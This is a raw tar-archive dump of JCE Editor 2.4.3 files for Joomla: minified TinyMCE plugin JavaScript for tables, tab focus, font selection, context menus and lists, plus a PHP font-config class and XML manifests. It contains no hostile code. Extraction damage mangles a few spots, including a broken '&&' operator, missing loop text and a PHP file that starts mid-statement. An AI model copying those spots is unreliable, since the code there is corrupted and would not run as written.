tinymce.extend(this,{deleteTable:deleteTable,split:split,merge:merge,insertRow:insertRow,insertCol:insertCol,deleteCols:deleteCols,deleteRows:deleteRows,cutRows:cutRows,copyRows:copyRows,pasteRows:pasteRows,getPos:getPos,setStartCell:setStartCell,setEndCell:setEndCell});} tinymce.create('tinymce.plugins.TablePlugin',{init:function(ed,url){var winMan,clipboardRows,hasCellSelection=true;this.editor=ed;function createTableGrid(node){var selection=ed.selection,tblElm=ed.dom.getParent(node||selection.getNode(),'table');if(tblElm) return new TableGrid(tblElm,ed.dom,selection);} function cleanup(){ed.getBody().style.webkitUserSelect='';if(hasCellSelection){ed.dom.removeClass(ed.dom.select('td.mceSelected,th.mceSelected'),'mceSelected');hasCellSelection=false;}} each([['table','table.desc','mceInsertTable',true],['delete_table','table.del','mceTableDelete'],['delete_col','table.delete_col_desc','mceTableDeleteCol'],['delete_row','table.delete_row_desc','mceTableDeleteRow'],['col_after','table.col_after_desc','mceTableInsertColAfter'],['col_before','table.col_before_desc','mceTableInsertColBefore'],['row_after','table.row_after_desc','mceTableInsertRowAfter'],['row_before','table.row_before_desc','mceTableInsertRowBefore'],['row_props','table.row_desc','mceTableRowProps',true],['cell_props','table.cell_desc','mceTableCellProps',true],['split_cells','table.split_cells_desc','mceTableSplitCells',true],['merge_cells','table.merge_cells_desc','mceTableMergeCells',true]],function(c){ed.addButton(c[0],{title:c[1],cmd:c[2],ui:c[3]});});if(!tinymce.isIE){ed.onClick.add(function(ed,e){e=e.target;if(e.nodeName==='TABLE'){ed.selection.select(e);ed.nodeChanged();}});} ed.onPreProcess.add(function(ed,args){var nodes,i,node,dom=ed.dom,value;nodes=dom.select('table',args.node);i=nodes.length;while(i--){node=nodes[i];dom.setAttrib(node,'data-mce-style','');if((value=dom.getAttrib(node,'width'))){dom.setStyle(node,'width',value);dom.setAttrib(node,'width','');} if((value=dom.getAttrib(node,'height'))){dom.setStyle(node,'height',value);dom.setAttrib(node,'height','');}}});ed.onNodeChange.add(function(ed,cm,n){var p;n=ed.selection.getStart();p=ed.dom.getParent(n,'td,th,caption');cm.setActive('table',n.nodeName==='TABLE'||!!p);if(p&&p.nodeName==='CAPTION') p=0;cm.setDisabled('delete_table',!p);cm.setDisabled('delete_col',!p);cm.setDisabled('delete_table',!p);cm.setDisabled('delete_row',!p);cm.setDisabled('col_after',!p);cm.setDisabled('col_before',!p);cm.setDisabled('row_after',!p);cm.setDisabled('row_before',!p);cm.setDisabled('row_props',!p);cm.setDisabled('cell_props',!p);cm.setDisabled('split_cells',!p);cm.setDisabled('merge_cells',!p);});ed.onInit.add(function(ed){var startTable,startCell,dom=ed.dom,tableGrid;winMan=ed.windowManager;ed.onMouseDown.add(function(ed,e){if(e.button!=2){cleanup();startCell=dom.getParent(e.target,'td,th');startTable=dom.getParent(startCell,'table');}});dom.bind(ed.getDoc(),'mouseover',function(e){var sel,table,target=e.target;if(startCell&&(tableGrid||target!=startCell)&&(target.nodeName=='TD'||target.nodeName=='TH')){table=dom.getParent(target,'table');if(table==startTable){if(!tableGrid){tableGrid=createTableGrid(table);tableGrid.setStartCell(startCell);ed.getBody().style.webkitUserSelect='none';} tableGrid.setEndCell(target);hasCellSelection=true;} sel=ed.selection.getSel();try{if(sel.removeAllRanges) sel.removeAllRanges();else sel.empty();}catch(ex){} e.preventDefault();}});ed.onMouseUp.add(function(ed,e){var rng,sel=ed.selection,selectedCells,nativeSel=sel.getSel(),walker,node,lastNode,endNode;if(startCell){if(tableGrid) ed.getBody().style.webkitUserSelect='';function setPoint(node,start){var walker=new tinymce.dom.TreeWalker(node,node);do{if(node.nodeType==3&&tinymce.trim(node.nodeValue).length!=0){if(start) rng.setStart(node,0);else rng.setEnd(node,node.nodeValue.length);return;} if(node.nodeName=='BR'){if(start) rng.setStartBefore(node);else rng.setEndBefore(node);return;}}while(node=(start?walker.next():walker.prev()));} selectedCells=dom.select('td.mceSelected,th.mceSelected');if(selectedCells.length>0){rng=dom.createRng();node=selectedCells[0];endNode=selectedCells[selectedCells.length-1];rng.setStartBefore(node);rng.setEndAfter(node);setPoint(node,1);walker=new tinymce.dom.TreeWalker(node,dom.getParent(selectedCells[0],'table'));do{if(node.nodeName=='TD'||node.nodeName=='TH'){if(!dom.hasClass(node,'mceSelected')) break;lastNode=node;}}while(node=walker.next());setPoint(lastNode);sel.setRng(rng);} ed.nodeChanged();startCell=tableGrid=startTable=null;}});ed.onKeyUp.add(function(ed,e){cleanup();});ed.onKeyDown.add(function(ed,e){fixTableCellSelection(ed);});ed.onMouseDown.add(function(ed,e){if(e.button!=2){fixTableCellSelection(ed);}});function tableCellSelected(ed,rng,n,currentCell){var TEXT_NODE=3,table=ed.dom.getParent(rng.startContainer,'TABLE'),tableParent,allOfCellSelected,tableCellSelection;if(table) tableParent=table.parentNode;allOfCellSelected=rng.startContainer.nodeType==TEXT_NODE&&rng.startOffset==0&&rng.endOffset==0&¤tCell&&(n.nodeName=="TR"||n==tableParent);tableCellSelection=(n.nodeName=="TD"||n.nodeName=="TH")&&!currentCell;return allOfCellSelected||tableCellSelection;} function fixTableCellSelection(ed){if(!tinymce.isWebKit) return;var rng=ed.selection.getRng();var n=ed.selection.getNode();var currentCell=ed.dom.getParent(rng.startContainer,'TD,TH');if(!tableCellSelected(ed,rng,n,currentCell)) return;if(!currentCell){currentCell=n;} var end=currentCell.lastChild;while(end.lastChild) end=end.lastChild;rng.setEnd(end,end.nodeValue.length);ed.selection.setRng(rng);} ed.plugins.table.fixTableCellSelection=fixTableCellSelection;if(ed&&ed.plugins.contextmenu){ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){var sm,se=ed.selection,el=se.getNode()||ed.getBody();if(ed.dom.getParent(e,'td')||ed.dom.getParent(e,'th')||ed.dom.select('td.mceSelected,th.mceSelected').length){m.removeAll();m.add({title:'table.desc',icon:'table',cmd:'mceInsertTable',value:{action:'insert'}});m.add({title:'table.props_desc',icon:'table_props',cmd:'mceInsertTable'});m.add({title:'table.del',icon:'delete_table',cmd:'mceTableDelete'});m.addSeparator();sm=m.addMenu({title:'table.cell'});sm.add({title:'table.cell_desc',icon:'cell_props',cmd:'mceTableCellProps'});sm.add({title:'table.split_cells_desc',icon:'split_cells',cmd:'mceTableSplitCells'});sm.add({title:'table.merge_cells_desc',icon:'merge_cells',cmd:'mceTableMergeCells'});sm=m.addMenu({title:'table.row'});sm.add({title:'table.row_desc',icon:'row_props',cmd:'mceTableRowProps'});sm.add({title:'table.row_before_desc',icon:'row_before',cmd:'mceTableInsertRowBefore'});sm.add({title:'table.row_after_desc',icon:'row_after',cmd:'mceTableInsertRowAfter'});sm.add({title:'table.delete_row_desc',icon:'delete_row',cmd:'mceTableDeleteRow'});sm.addSeparator();sm.add({title:'table.cut_row_desc',icon:'cut',cmd:'mceTableCutRow'});sm.add({title:'table.copy_row_desc',icon:'copy',cmd:'mceTableCopyRow'});sm.add({title:'table.paste_row_before_desc',icon:'paste',cmd:'mceTablePasteRowBefore'}).setDisabled(!clipboardRows);sm.add({title:'table.paste_row_after_desc',icon:'paste',cmd:'mceTablePasteRowAfter'}).setDisabled(!clipboardRows);sm=m.addMenu({title:'table.col'});sm.add({title:'table.col_before_desc',icon:'col_before',cmd:'mceTableInsertColBefore'});sm.add({title:'table.col_after_desc',icon:'col_after',cmd:'mceTableInsertColAfter'});sm.add({title:'table.delete_col_desc',icon:'delete_col',cmd:'mceTableDeleteCol'});}else m.add({title:'table.desc',icon:'table',cmd:'mceInsertTable'});});} if(tinymce.isWebKit){function moveSelection(ed,e){var VK=tinymce.VK;var key=e.keyCode;function handle(upBool,sourceNode,event){var siblingDirection=upBool?'previousSibling':'nextSibling';var currentRow=ed.dom.getParent(sourceNode,'tr');var siblingRow=currentRow[siblingDirection];if(siblingRow){moveCursorToRow(ed,sourceNode,siblingRow,upBool);tinymce.dom.Event.cancel(event);return true;}else{var tableNode=ed.dom.getParent(currentRow,'table');var middleNode=currentRow.parentNode;var parentNodeName=middleNode.nodeName.toLowerCase();if(parentNodeName==='tbody'||parentNodeName===(upBool?'tfoot':'thead')){var targetParent=getTargetParent(upBool,tableNode,middleNode,'tbody');if(targetParent!==null){return moveToRowInTarget(upBool,targetParent,sourceNode,event);}} return escapeTable(upBool,currentRow,siblingDirection,tableNode,event);}} function getTargetParent(upBool,topNode,secondNode,nodeName){var tbodies=ed.dom.select('>'+nodeName,topNode);var position=tbodies.indexOf(secondNode);if(upBool&&position===0||!upBool&&position===tbodies.length-1){return getFirstHeadOrFoot(upBool,topNode);}else if(position===-1){var topOrBottom=secondNode.tagName.toLowerCase()==='thead'?0:tbodies.length-1;return tbodies[topOrBottom];}else{return tbodies[position+(upBool?-1:1)];}} function getFirstHeadOrFoot(upBool,parent){var tagName=upBool?'thead':'tfoot';var headOrFoot=ed.dom.select('>'+tagName,parent);return headOrFoot.length!==0?headOrFoot[0]:null;} function moveToRowInTarget(upBool,targetParent,sourceNode,event){var targetRow=getChildForDirection(targetParent,upBool);targetRow&&moveCursorToRow(ed,sourceNode,targetRow,upBool);tinymce.dom.Event.cancel(event);return true;} function escapeTable(upBool,currentRow,siblingDirection,table,event){var tableSibling=table[siblingDirection];if(tableSibling){moveCursorToStartOfElement(tableSibling);return true;}else{var parentCell=ed.dom.getParent(table,'td,th');if(parentCell){return handle(upBool,parentCell,event);}else{var backUpSibling=getChildForDirection(currentRow,!upBool);moveCursorToStartOfElement(backUpSibling);return tinymce.dom.Event.cancel(event);}}} function getChildForDirection(parent,up){var child=parent&&parent[up?'lastChild':'firstChild'];return child&&child.nodeName==='BR'?ed.dom.getParent(child,'td,th'):child;} function moveCursorToStartOfElement(n){ed.selection.setCursorLocation(n,0);} function isVerticalMovement(){return key==VK.UP||key==VK.DOWN;} function isInTable(ed){var node=ed.selection.getNode();var currentRow=ed.dom.getParent(node,'tr');return currentRow!==null;} function columnIndex(column){var colIndex=0;var c=column;while(c.previousSibling){c=c.previousSibling;colIndex=colIndex+getSpanVal(c,"colspan");} return colIndex;} function findColumn(rowElement,columnIndex){var c=0;var r=0;each(rowElement.children,function(cell,i){c=c+getSpanVal(cell,"colspan");r=i;if(c>columnIndex) return false;});return r;} function moveCursorToRow(ed,node,row,upBool){var srcColumnIndex=columnIndex(ed.dom.getParent(node,'td,th'));var tgtColumnIndex=findColumn(row,srcColumnIndex);var tgtNode=row.childNodes[tgtColumnIndex];var rowCellTarget=getChildForDirection(tgtNode,upBool);moveCursorToStartOfElement(rowCellTarget||tgtNode);} function shouldFixCaret(preBrowserNode){var newNode=ed.selection.getNode();var newParent=ed.dom.getParent(newNode,'td,th');var oldParent=ed.dom.getParent(preBrowserNode,'td,th');return newParent&&newParent!==oldParent&&checkSameParentTable(newParent,oldParent)} function checkSameParentTable(nodeOne,NodeTwo){return ed.dom.getParent(nodeOne,'TABLE')===ed.dom.getParent(NodeTwo,'TABLE');} if(isVerticalMovement()&&isInTable(ed)){var preBrowserNode=ed.selection.getNode();setTimeout(function(){if(shouldFixCaret(preBrowserNode)){handle(!e.shiftKey&&key===VK.UP,preBrowserNode,e);}},0);}} ed.onKeyDown.add(moveSelection);} function fixTableCaretPos(){var last;for(last=ed.getBody().lastChild;last&&last.nodeType==3&&!last.nodeValue.length;last=last.previousSibling);if(last&&last.nodeName=='TABLE'){if(ed.settings.forced_root_block) ed.dom.add(ed.getBody(),ed.settings.forced_root_block,null,tinymce.isIE&&!tinymce.isIE11?' ':'
    ');else ed.dom.add(ed.getBody(),'br',{'data-mce-bogus':'1'});}} if(tinymce.isGecko){ed.onKeyDown.add(function(ed,e){var rng,table,dom=ed.dom;if(e.keyCode==37||e.keyCode==38){rng=ed.selection.getRng();table=dom.getParent(rng.startContainer,'table');if(table&&ed.getBody().firstChild==table){if(isAtStart(rng,table)){rng=dom.createRng();rng.setStartBefore(table);rng.setEndBefore(table);ed.selection.setRng(rng);e.preventDefault();}}}});} ed.onKeyUp.add(fixTableCaretPos);ed.onSetContent.add(fixTableCaretPos);ed.onVisualAid.add(fixTableCaretPos);ed.onPreProcess.add(function(ed,o){var last=o.node.lastChild;if(last&&(last.nodeName=="BR"||(last.childNodes.length==1&&(last.firstChild.nodeName=='BR'||last.firstChild.nodeValue=='\u00a0')))&&last.previousSibling&&last.previousSibling.nodeName=="TABLE"){ed.dom.remove(last);}});fixTableCaretPos();ed.startContent=ed.getContent({format:'raw'});});each({mceTableSplitCells:function(grid){grid.split();},mceTableMergeCells:function(grid){var rowSpan,colSpan,cell;cell=ed.dom.getParent(ed.selection.getNode(),'th,td');if(cell){rowSpan=cell.rowSpan;colSpan=cell.colSpan;} if(!ed.dom.select('td.mceSelected,th.mceSelected').length){winMan.open({url:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=table&context=merge',width:240+parseInt(ed.getLang('table.merge_cells_delta_width',0)),height:170+parseInt(ed.getLang('table.merge_cells_delta_height',0)),inline:1},{rows:rowSpan,cols:colSpan,onaction:function(data){grid.merge(cell,data.cols,data.rows);},plugin_url:url,context:"merge"});}else{grid.merge();}},mceTableInsertRowBefore:function(grid){grid.insertRow(true);},mceTableInsertRowAfter:function(grid){grid.insertRow();},mceTableInsertColBefore:function(grid){grid.insertCol(true);},mceTableInsertColAfter:function(grid){grid.insertCol();},mceTableDeleteCol:function(grid){grid.deleteCols();},mceTableDeleteRow:function(grid){grid.deleteRows();},mceTableCutRow:function(grid){clipboardRows=grid.cutRows();},mceTableCopyRow:function(grid){clipboardRows=grid.copyRows();},mceTablePasteRowBefore:function(grid){grid.pasteRows(clipboardRows,true);},mceTablePasteRowAfter:function(grid){grid.pasteRows(clipboardRows);},mceTableDelete:function(grid){grid.deleteTable();}},function(func,name){ed.addCommand(name,function(){var grid=createTableGrid();if(grid){func(grid);ed.execCommand('mceRepaint');cleanup();}});});each({mceInsertTable:function(val){winMan.open({url:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=table',width:420+parseInt(ed.getLang('table.table_delta_width',0)),height:440+parseInt(ed.getLang('table.table_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,action:val?val.action:0,context:"table"});},mceTableRowProps:function(){winMan.open({url:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=table&context=row',width:440+parseInt(ed.getLang('table.rowprops_delta_width',0)),height:440+parseInt(ed.getLang('table.rowprops_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,context:"row"});},mceTableCellProps:function(){winMan.open({url:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=table&context=cell',width:420+parseInt(ed.getLang('table.cellprops_delta_width',0)),height:440+parseInt(ed.getLang('table.cellprops_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,context:"cell"});}},function(func,name){ed.addCommand(name,function(ui,val){func(val);});});},createControl:function(n,cm){var t=this,ed=t.editor;switch(n){case'table_insert':var border=ed.getParam('table_default_border','');if(ed.settings.schema=='html5'&&ed.settings.validate){if(border){border=1;}} var c=new tinymce.ui.TableSplitButton(cm.prefix+'table_insert',{title:ed.getLang('table.desc','Inserts a new table'),'class':'mce_table_insert','menu_class':ed.getParam('skin')+'Skin',onclick:function(e){ed.execCommand('mceInsertTable');},onselect:function(html){ed.execCommand('mceInsertContent',false,html);},scope:ed,width:ed.getParam('table_default_width'),height:ed.getParam('table_default_height'),border:border,classes:ed.getParam('table_classes','')},ed);ed.onMouseDown.add(c.hideMenu,c);ed.onRemove.add(function(){c.destroy();});return cm.add(c);break;} return null;}});tinymce.PluginManager.add('table',tinymce.plugins.TablePlugin);})(tinymce);(function(tinymce){var DOM=tinymce.DOM,Event=tinymce.dom.Event,is=tinymce.is,each=tinymce.each;tinymce.create('tinymce.ui.TableSplitButton:tinymce.ui.SplitButton',{TableSplitButton:function(id,s,ed){var t=this;this.editor=ed;t.parent(id,s,ed);t.settings=s=tinymce.extend({cols:4,rows:4,width:'',height:'',border:0},t.settings);t.onShowMenu=new tinymce.util.Dispatcher(t);t.onHideMenu=new tinymce.util.Dispatcher(t);},showMenu:function(){var t=this,r,p,e,p2,ed=this.editor;if(t.isDisabled()) return;if(tinymce.isIE){ed.focus();this.bookmark=ed.selection.getBookmark(1);} if(!t.isMenuRendered){t.renderMenu();t.isMenuRendered=true;} if(t.isMenuVisible) return t.hideMenu();e=DOM.get(t.id);DOM.show(t.id+'_menu');DOM.addClass(e,'mceSplitButtonSelected');p2=DOM.getPos(e);DOM.setStyles(t.id+'_menu',{left:p2.x,top:p2.y+e.clientHeight,zIndex:200000});e=0;Event.add(DOM.doc,'mousedown',t.hideMenu,t);t.onShowMenu.dispatch(t);if(t._focused){t._keyHandler=Event.add(t.id+'_menu','keydown',function(e){if(e.keyCode==27) t.hideMenu();});} t.isMenuVisible=1;t.setActive(1);},hideMenu:function(e){var t=this;if(t.isMenuVisible){if(e&&e.type=="mousedown"&&DOM.getParent(e.target,function(e){return e.id===t.id+'_open';})) return;if(!e||!DOM.getParent(e.target,'.mceSplitButtonMenu')){Event.remove(t.id,'mouseover');DOM.removeClass(DOM.select('table td.selected',t.id+'_menu'),'selected');DOM.setHTML(DOM.select('table td.mceTableGridCount',t.id+'_menu'),' ');DOM.removeClass(t.id,'mceSplitButtonSelected');Event.remove(DOM.doc,'mousedown',t.hideMenu,t);Event.remove(t.id+'_menu','keydown',t._keyHandler);DOM.hide(t.id+'_menu');} t.isMenuVisible=0;t.setActive(0);}},renderMenu:function(){var t=this,ed=this.editor,m,i=0,s=t.settings,n,tb,tr,w,context,bm;w=DOM.add(s.menu_container,'div',{role:'listbox',id:t.id+'_menu','class':s['menu_class']+' '+s['class'],style:'position:absolute;left:0;top:-1000px;'});m=DOM.add(w,'div',{'class':s['class']+' mceSplitButtonMenu'});DOM.add(m,'span',{'class':'mceMenuLine'});n=DOM.add(m,'table',{role:'presentation','class':'mceTableSplitMenu','border':1});tb=DOM.add(n,'tbody');for(i=0;ix||i>y){DOM.removeClass(cells[z],'selected');}else{DOM.addClass(cells[z],'selected');}}} DOM.setHTML(DOM.select('td.mceTableGridCount',n),(y+1)+' x '+(x+1));}});tf=DOM.add(n,'tfoot');DOM.add(DOM.add(tf,'tr'),'td',{colspan:s.rows,'class':'mceTableGridCount'},' ');DOM.addClass(m,'mceTableSplitMenu');new tinymce.ui.KeyboardNavigation({root:t.id+'_menu',items:DOM.select('a',t.id+'_menu'),onCancel:function(){t.hideMenu();t.focus();}});Event.add(t.id+'_menu','mousedown',function(e){return Event.cancel(e);});Event.add(t.id+'_menu','click',function(e){var c,el=e.target;if(el.nodeName.toLowerCase()=='td'){var table=DOM.getParent(el,'table');var styles=[];var width=t.settings.width;if(/^[0-9\.]+$/.test(width)){width+='px';} if(width){styles.push('width:'+width);} var height=t.settings.height;if(/^[0-9\.]+$/.test(height)){height+='px';} if(height){styles.push('height:'+height);} var html='";var cols=DOM.select('td.selected',rows[y]).length;for(var x=0;xcom_jce/editor/tiny_mce/plugins/tabfocus/classes/config.php000066600000001142150771500630020150 0ustar00com_jce/editor/tiny_mce/plugins/tabfocus/index.html000066600000000054150771500630016533 0ustar00com_jce/editor/tiny_mce/plugins/tabfocus/editor_plugin.js000066600000003531150771500630017743 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(j.keyCode===9){return a.cancel(j)}}function h(l,p){var j,m,o,n,k;function q(t){n=c.select(":input:enabled,*[tabindex]:not(iframe)");function s(v){return v.nodeName==="BODY"||(v.type!="hidden"&&!(v.style.display=="none")&&!(v.style.visibility=="hidden")&&s(v.parentNode))}function i(v){return v.attributes.tabIndex.specified||v.nodeName=="INPUT"||v.nodeName=="TEXTAREA"}function u(){return tinymce.isIE6||tinymce.isIE7}function r(v){return((!u()||i(v)))&&v.getAttribute("tabindex")!="-1"&&s(v)}d(n,function(w,v){if(w.id==l.id){j=v;return false}});if(t>0){for(m=j+1;m=0;m--){if(r(n[m])){return n[m]}}}return null}if(p.keyCode===9){k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next")));if(k.length==1){k[1]=k[0];k[0]=":prev"}if(p.shiftKey){if(k[0]==":prev"){n=q(-1)}else{n=c.get(k[0])}}else{if(k[1]==":next"){n=q(1)}else{n=c.get(k[1])}}if(n){if(n.id&&(l=tinymce.get(n.id||n.name))){l.focus()}else{window.setTimeout(function(){if(!tinymce.isWebKit){window.focus()}n.focus()},10)}return a.cancel(p)}}}f.onKeyUp.add(e);if(tinymce.isGecko){f.onKeyPress.add(h);f.onKeyDown.add(e)}else{f.onKeyDown.add(h)}},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)})();com_jce/editor/tiny_mce/plugins/fontselect/classes/index.html000066600000000054150771500630020530 0ustar00com_jce/editor/tiny_mce/plugins/fontselect/classes/config.php000066600000005773150771500630020526 0ustar00getParam('fontselect.foreground_color', '#000000', '#000000'); $settings['fontselect_background_color'] = $wf->getParam('fontselect.background_color', '#000000', '#000000'); } /** * Get a list of editor font families * * @return string font family list * @param string $add Font family to add * @param string $remove Font family to remove */ protected static function getFonts() { $wf = WFEditor::getInstance(); $fonts = $wf->getParam('fontselect.fonts'); // get fonts using legacy parameters if (empty($fonts)) { $fonts = self::$fonts; $add = $wf->getParam('editor.theme_advanced_fonts_add'); $remove = $wf->getParam('editor.theme_advanced_fonts_remove'); if (empty($remove) && empty($add)) { return implode(';', $fonts); } $remove = preg_split('/[;,]+/', $remove); if (count($remove)) { foreach ($fonts as $key => $value) { foreach ($remove as $gone) { if ($gone && preg_match('/^' . $gone . '=/i', $value)) { // Remove family unset($fonts[$key]); } } } } foreach (explode(";", $add) as $new) { // Add new font family if (preg_match('/([^\=]+)(\=)([^\=]+)/', trim($new)) && !in_array($new, $fonts)) { $fonts[] = $new; } } natcasesort($fonts); $fonts = implode(';', $fonts); } return $fonts; } } ?> com_jce/editor/tiny_mce/plugins/fontselect/index.html000066600000000054150771500630017073 0ustar00com_jce/editor/tiny_mce/plugins/fontselect/editor_plugin.js000066600000004033150771500630020301 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,extend=tinymce.extend,each=tinymce.each,Cookie=tinymce.util.Cookie,explode=tinymce.explode;tinymce.create('tinymce.plugins.FontSelectPlugin',{fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",init:function(ed,url){var self=this;this.editor=ed;ed.onNodeChange.add(function(ed,cm,n){var c=cm.get('fontselect'),fn;if(c&&n.style){if(!fn&&n.style.fontFamily){fn=n.style.fontFamily.replace(/[\"\']+/g,'').replace(/^([^,]+).*/,'$1').toLowerCase();} c.select(function(v){return v.replace(/^([^,]+).*/,'$1').toLowerCase()==fn;});}});},createControl:function(n,cf){var ed=this.editor;switch(n){case"fontselect":if(ed.getParam('fontselect_fonts')){return this._createFontSelect();} break;}},_createFontSelect:function(){var c,self=this,ed=self.editor;c=ed.controlManager.createListBox('fontselect',{title:'advanced.fontdefault',onselect:function(v){var cur=c.items[c.selectedIndex];if(!v&&cur){ed.execCommand('FontName',false,cur.value);return;} ed.execCommand('FontName',false,v);c.select(function(sv){return v==sv;});if(cur&&cur.value==v){c.select(null);} return false;}});if(c){each(ed.getParam('fontselect_fonts','','hash'),function(v,k){if(/\d/.test(v)){v="'"+v+"'";} c.add(ed.translate(k),v,{style:v.indexOf('dings')==-1?'font-family:'+v:''});});} return c;}});tinymce.PluginManager.add('fontselect',tinymce.plugins.FontSelectPlugin,['importcss']);})();com_jce/editor/tiny_mce/plugins/fontselect/fontselect.xml000066600000001436150771500630017773 0ustar00 WF_FONTSELECT_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_FONTSELECT_DESC fontselect com_jce/editor/tiny_mce/plugins/contextmenu/contextmenu.xml000066600000001207150771500630020375 0ustar00 WF_CONTEXTMENU_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_CONTEXTMENU_DESC com_jce/editor/tiny_mce/plugins/contextmenu/index.html000066600000000054150771500630017276 0ustar00com_jce/editor/tiny_mce/plugins/contextmenu/editor_plugin.js000066600000005234150771500630020510 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){var Event=tinymce.dom.Event,each=tinymce.each,DOM=tinymce.DOM;tinymce.create('tinymce.plugins.ContextMenu',{init:function(ed){var t=this,showMenu,contextmenuNeverUseNative,realCtrlKey,hideMenu;t.editor=ed;contextmenuNeverUseNative=ed.settings.contextmenu_never_use_native;t.onContextMenu=new tinymce.util.Dispatcher(this);hideMenu=function(e){hide(ed,e);};showMenu=ed.onContextMenu.add(function(ed,e){if((realCtrlKey!==0?realCtrlKey:e.ctrlKey)&&!contextmenuNeverUseNative) return;Event.cancel(e);if(e.target.nodeName=='IMG'){ed.selection.select(e.target);} if(e.target.nodeName=='TD'||e.target.nodeName=='TH'){if(tinymce.isWebKit){var n=e.target,rng=ed.selection.getRng();var end=n.lastChild;while(end.lastChild){end=end.lastChild;} if(end&&end.nodeValue){rng.setEnd(end,end.nodeValue.length);ed.selection.setRng(rng);}}} t._getMenu(ed).showMenu(e.clientX||e.pageX,e.clientY||e.pageY);Event.add(ed.getDoc(),'click',hideMenu);ed.nodeChanged();});ed.onRemove.add(function(){if(t._menu) t._menu.removeAll();});function hide(ed,e){realCtrlKey=0;if(e&&e.button==2){realCtrlKey=e.ctrlKey;return;} if(t._menu){t._menu.removeAll();t._menu.destroy();Event.remove(ed.getDoc(),'click',hideMenu);t._menu=null;}};ed.onMouseDown.add(hide);ed.onKeyDown.add(hide);ed.onKeyDown.add(function(ed,e){if(e.shiftKey&&!e.ctrlKey&&!e.altKey&&e.keyCode===121){Event.cancel(e);showMenu(ed,e);}});},getInfo:function(){return{longname:'Contextmenu',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu',version:tinymce.majorVersion+"."+tinymce.minorVersion};},_getMenu:function(ed){var t=this,m=t._menu,se=ed.selection,col=se.isCollapsed(),el=se.getNode()||ed.getBody(),am,p;if(m){m.removeAll();m.destroy();} p=DOM.getPos(ed.getContentAreaContainer());m=ed.controlManager.createDropMenu('contextmenu',{offset_x:p.x+ed.getParam('contextmenu_offset_x',0),offset_y:p.y+ed.getParam('contextmenu_offset_y',0),constrain:1,keyboard_focus:true});t._menu=m;m.addSeparator();am=m.addMenu({title:'contextmenu.align'});am.add({title:'contextmenu.left',icon:'justifyleft',cmd:'JustifyLeft'});am.add({title:'contextmenu.center',icon:'justifycenter',cmd:'JustifyCenter'});am.add({title:'contextmenu.right',icon:'justifyright',cmd:'JustifyRight'});am.add({title:'contextmenu.full',icon:'justifyfull',cmd:'JustifyFull'});t.onContextMenu.dispatch(t,m,el,col);return m;}});tinymce.PluginManager.add('contextmenu',tinymce.plugins.ContextMenu);})();com_jce/editor/tiny_mce/plugins/lists/index.html000066600000000054150771500630016063 0ustar00com_jce/editor/tiny_mce/plugins/lists/lists.xml000066600000004156150771500630015755 0ustar00 WF_LISTS_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_LISTS_DESC numlist,bullist com_jce/editor/tiny_mce/plugins/lists/editor_plugin.js000066600000034401150771500630017273 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var e=tinymce.each,r=tinymce.dom.Event,g;function p(t,s){while(t&&(t.nodeType===8||(t.nodeType===3&&/^[ \t\n\r]*$/.test(t.nodeValue)))){t=s(t)}return t}function b(s){return p(s,function(t){return t.previousSibling})}function i(s){return p(s,function(t){return t.nextSibling})}function d(s,u,t){return s.dom.getParent(u,function(v){return tinymce.inArray(t,v)!==-1})}function n(s){return s&&(s.tagName==="OL"||s.tagName==="UL")}function c(u,v){var 